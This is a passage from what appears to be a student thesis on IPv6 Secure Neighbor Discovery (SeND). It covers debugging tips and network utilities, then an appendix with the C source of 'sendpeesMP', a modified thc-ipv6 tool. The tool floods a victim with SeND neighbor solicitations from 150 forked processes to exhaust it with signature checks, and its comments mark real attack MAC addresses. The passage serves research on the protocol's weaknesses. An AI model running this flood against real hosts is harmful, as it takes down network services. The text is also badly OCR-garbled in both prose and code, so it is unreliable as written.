output with “-0 newcga.params.der”.

If you are altering an existing CGA parameter sebke the cgatool command
with “-D cga.params.der”. This comes in usefuolu change the Sec value, or generate
an address for a different prefix. Cgatool wileube same keys and modifier as before,
but the output CGA will be generated from the netva parameters.

The different CGA parameters should allow SeND fwerate with multiple
contexts, serving different prefixes, however | wasble to make it do so, which limited
me to use SeND only using the FEBO0:: addressesemtiag using SeND to do things

like protecting Router Advertisements.
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Debugging mode:

SeND comes with a very nice, albeit unstable deboge. If SeND daemon is
started with a “-d” parameter, it presents us athinteractive console. This console can
be given commands to provide us with more detarléarmation on particular aspects of
SeND, and as such it has been a tremendous helgourse of experimentation.
“Debug_levels” gives a list of all the possible tsmts of details we can request.
“debug _on sendd cga’ gives details on cga veriboat “debug _on libcrypto
(DETAILYN” shows the results of all the hashing,ceyption and decryption as it is
happening in real time. Some of this detail becomeerwhelming or too fast, thus |
highly recommend running the debug mode SeND ierminhal window with a hefty
scroll-back buffer. There is a debug option diregtll the messages to the syslog, but |
was unable to make it work. Regardless of commain, the output of the debug
mode was always sent to stdout, which could notedukrected to a file, due to the
interactive nature of the debug mode.

Another limitation of the SeND’s debug mode itstamslity. Some commands,
like “debug_off sendd all” caused an instant SEGEAUwhich resulted in program
termination with no cleanup procedures running,clvhon Linux it caused the firewall
rules to remain in place, which prevented SeNDédastarted again without running the
cleanup procedures manually with the “/etc/iniedt$d stop” command.

The debug mode is the most helpful utility wherftang SeND like packets, as it
can display results of many SeND operations. Téaalupacket-slicing utilities like
Wireshark are of not much help, as they do notgeie SeND protocol, displaying only
ICMPV6 options with large, but meaningless payload¥n the programming side, the
debugging mechanism is also simple enough to altexdd extra debugging messages
directly in the SeND’s source code, providing eweore information. It is not the most
comfortable tool, but power it provides is well wothe trouble.

Useful utilities and commands

Systat with any of the following switches:

-icmp6:  most specific information about ICMPV6 patk

-ifstat: throughput per interface
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-iostat:
interrupt

-ip6:

-netstat:

-pigs:

-vimstat:

throughput per disk, also CPU usage alémtdao user, system, or

general IPv6 packet accounting
active connections
biggest CPU consumers

general overview of most vital statistigsocesses, interrupts, cpu

load and usage, disk and swap usage)

Ndp is the utility to monitor and manage the NeighiCache, and as such is

crucial to observing SeND’s behavior. Here’s arshst of the most useful parameters:

-a shows a list of all Neighbor Cache entries

-c deletes all Neighbor Cache entries

-d deletes a specific Neighbor Cache entry

Ndp is a BSD-only utility, in Linux ‘ip —f ineté ngh’ commands have roughly

equivalent purpose.
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APPENDIX B: SOURCE CODE

A. SENDPEES9.C

#include <unistd.h>
#include <pthread.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <pcap.h>
#include "thc-ipv6.h"
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <openssl/rsa.h>
#define HIGH 255
#define LOW 0

#define THREAD_NUM 150

/* data structure to hold data to pass to a thread
(later converted to processes) */
struct thread_data
{
int thread_id;
unsigned char* dev;
unsigned char srchwi6];
unsigned char dsthw(6];
unsigned char* pkt;
int pkt_len;
h

/* array of these thread data structs */
struct thread_data thread_data_array[THREAD_NUM];

/* main function */
int main(int argc, char **argv)
{
thc_cga_hdr *cga_opt; /* CGA header */
thc_key_t *key; /* public key */
struct in6_addr addr6; /* socket addr */
unsigned char *pkt = NULL; /* generic packet spa/
unsigned char *testdst6, *dst6, *cga, *cga6,vd& IPv6 addrs */
[* various parts of packets, temporaries */
char advdummy[16],soldummy[24], prefix[8], ads];
/* MAC addresses for testing, attacking */
unsigned char dsthw[] = "\XfAXFAXFAXFAXXF";
unsigned char tgthw[] = "x00\x1a\xa0\x41\xfOa2 /*real attack mac*/
[*unsigned char tgthw[] = "\x00\x12\x3f\xae\x&2¥"; */ /*real attack mac*/
[*char dsthw[] = "\x33\x33\xff\x12\x34\x56"; */
[*unsigned char srchw[] = "00\x11\x11\x32\xk@%";*/ /*00:11:11:32:B2:84*/
unsigned char srchw([] = "\xdd\xde\xad\xbe\xeéikd
unsigned char srchwreal[] = "\x00\x11\x11\x32234";
unsigned char tag[] = "\xdd\xde\xad\xbe\xef\oxditi\xde\
\xad\xbe\xef\xdd\xbe\xef@xaa";
int pkt_len = 0; /* packet length */
int flags = 0; /* ICMPV6 flags */
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thc_ipv6_rawmode(0); /* generate my own MAC azidies */
int debug = 0; /* debug switch */

if (argc 1= 5)
{

printf("original sendpees by willdamn <willt&@gmail.com>\n");
printf("modified sendpeesMP by Marcin Pohlamginpohl@gmail.com>\n");
printf("usage: %s <inf> <key_length> <prefixwictim>\n", argv[0]);
printf("Send SEND neighbor solicitation megssand make target \
to verify a lota CGA and RSA signagirg);
exit(1);
}

FILE *fp; /* file pointer for reading from /deufandom */
unsigned char test[6]; /* randomized mac stertg
int result=0,pid,status, rc, i; /* exit codes */

memset(&test, 0, 6); /* set 6 bytes to zero */
fp = fopen (“/dev/urandom", "r"); /* set FP tel/urandom */

dev = argv[1]; /* read interface from commanaeliti

memcpy(addr, argv[3], 50); /* read prefix fromnemandline */
inet_pton(PF_INET6, addr, &addr6); /* start alest */
memcpy(prefix, &addr6, 8); /* first 8 bytes afckaddr is prefix */

key = thc_generate_key(atoi(argv[2])); /* EXPEME KEYGEN HERE! */
if (key == NULL)

printf("Couldn't generate key!);
exit(1);
}

[*makes options and the address*/

cga_opt = thc_generate_cga(prefix, key, &cga);
[* cga = thc_resolve6(":"); */

if (cga_opt == NULL)

{

printf("Error during CGA generation™);
exit(1);
}

for (i=0; i<THREAD_NUM; ++i)

pid = fork();
if (pid==0)
{

printf("Creating thread %d\n", i);

[*randomize MAC here*/

result= fread(&test,sizeof(unsigned char),6,fp);
test[0]= 0; /* set MAC to intel */
test[1]= 170; /* set MAC to intel */
test[2]= 0; /* set MAC to intel */

[* ICMP6 TARGET, IPDST */

[* dst6 = thc_resolve6(argv[4]); */

[* dst6 = thc_resolve6("ff02::2");*/

[* dst6 = thc_resolve6("fe80::2873:203142¥18"); */
[* real proper CGA address */
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I* cgab = thc_resolve6("fe80::30b4:f52ad4E8cdf"); */
[* testdst6 = thc_resolve6("fe80::deadflzdsba:feed");*/
dst6 = thc_resolve6("fe80::3016:32de: 1ati2!’);

[* set ICMP OPTION SLLA HERE */
memset(advdummy, 'D', sizeof(advdummy));
memset(soldummy, 'D', sizeof(soldummy));
[* set destination IP here */
memcpy(advdummy, dst6, 16); /*dstiP*/
memcpy(soldummy, dst6, 16); /*dstIP*/

[* fixed values for NS */

soldummy[16] = 1;

soldummy[17] = 1;

memcpy(&soldummy[18], test, 6); /* SLLAPTION */

/* ND flags */
flags = ICMP6_NEIGHBORADV_OVERRIDE;

[* create IPv6 portion */

[*if((pkt = thc_create_ipv6(dev, PREFER_GRAL, &pkt_len, cga, dst6, \

0,0, 0, 0, 0)) == NULL)*/

if ((pkt = thc_create_ipv6(dev, PREFER_KIN&pkt_len, cga, dst6, \
0,0, 0, 0, 69 NULL)

{

printf("Cannot create IPv6 header\n");
exit(1);
}

[* create ICMPV6 with SeND options */

[* if(thc_add_send(pkt, &pkt_len, ICMRASEIGHBORADV, 0x0, flags, \

advdummy, 24, cga_opt, key, NULL, 0) </0)*

if (thc_add_send(pkt, &pkt_len, ICMP6_NEBORSOL, 0x0, flags, \
soldummy, 24, cga_opt,KéULL, 0) < 0)

{

printf("Cannot add SEND options\n");
exit(1);

free(cga_opt);
if (debug)
{

printf("%02x:%02x:%02x:%02x:%02x:%02%test[0],test[1],test[2],\
test[3],test[4],test[5]);
printf("%02x:%02x:%02x:%02x:%02x:%02%\asthw[0],dsthw[1],dsthw[2]\
,dsthw[3],dsthw[4],dsthw[5]);
fflush(stdout);
}

[* attach the IPv6+ICMPVv6+SeND to an Ettetrframe with random MAC */
if ((result= thc_generate_pkt(dev, tegthiv, pkt, &pkt_len)) < 0)

fprintf(stderr, "Couldn't generate ippécket, error num %s \n")\
result);
exit(1);
}

printf("Sending %d...",i);
fflush(stdout);
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int count=1000000000;
while (count)

{

[* send many packets */

thc_send_pkt(dev, pkt, &pkt_len);

--count;

}

exit(1);
}

wait(&status);
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